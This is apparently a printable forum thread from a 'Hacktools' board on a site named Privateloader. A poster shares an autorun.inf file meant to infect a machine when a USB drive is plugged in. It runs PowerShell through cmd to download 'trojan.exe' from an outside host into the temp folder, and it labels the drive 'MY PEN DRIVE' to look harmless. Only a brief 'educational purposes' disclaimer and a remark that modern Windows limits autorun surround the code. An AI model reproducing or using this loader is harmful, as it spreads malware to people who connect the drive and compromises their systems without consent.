Privateloader
Autorun.inf + PowerShell - Download a file when a USB pen drive is connected - Afdrukversie

+- Privateloader (http://www.privateloader.freebb.be)
+-- Forum: Privateloader Online (/forum-1.html)
+--- Forum: Hacktools (/forum-2.html)
+--- Discussie: Autorun.inf + PowerShell - Download a file when a USB pen drive is connected (/thread-349.html)


Autorun.inf + PowerShell - Download a file when a USB pen drive is connected - electrify - 06-24-2024 06:04 PM

Download a file when a USB pen drive is connected.

Code:
[AutoRun]
icon=%temp%\trojan.exe
open=cmd.exe /c PowerShell.exe -Command "(New-Object System.Net.WebClient).DownloadFile('http://hacxx.com/trojan.exe', '%temp%\trojan.exe')"
label=MY PEN DRIVE

This script is for educational purposes. Unauthorized downloading or execution of files on someone else's system is illegal and unethical. Always obtain proper authorization before running such scripts.

Modern versions of Windows have significantly restricted the capabilities of autorun to prevent malware propagation. As a result, this script may not work on newer versions of Windows due to these security measures.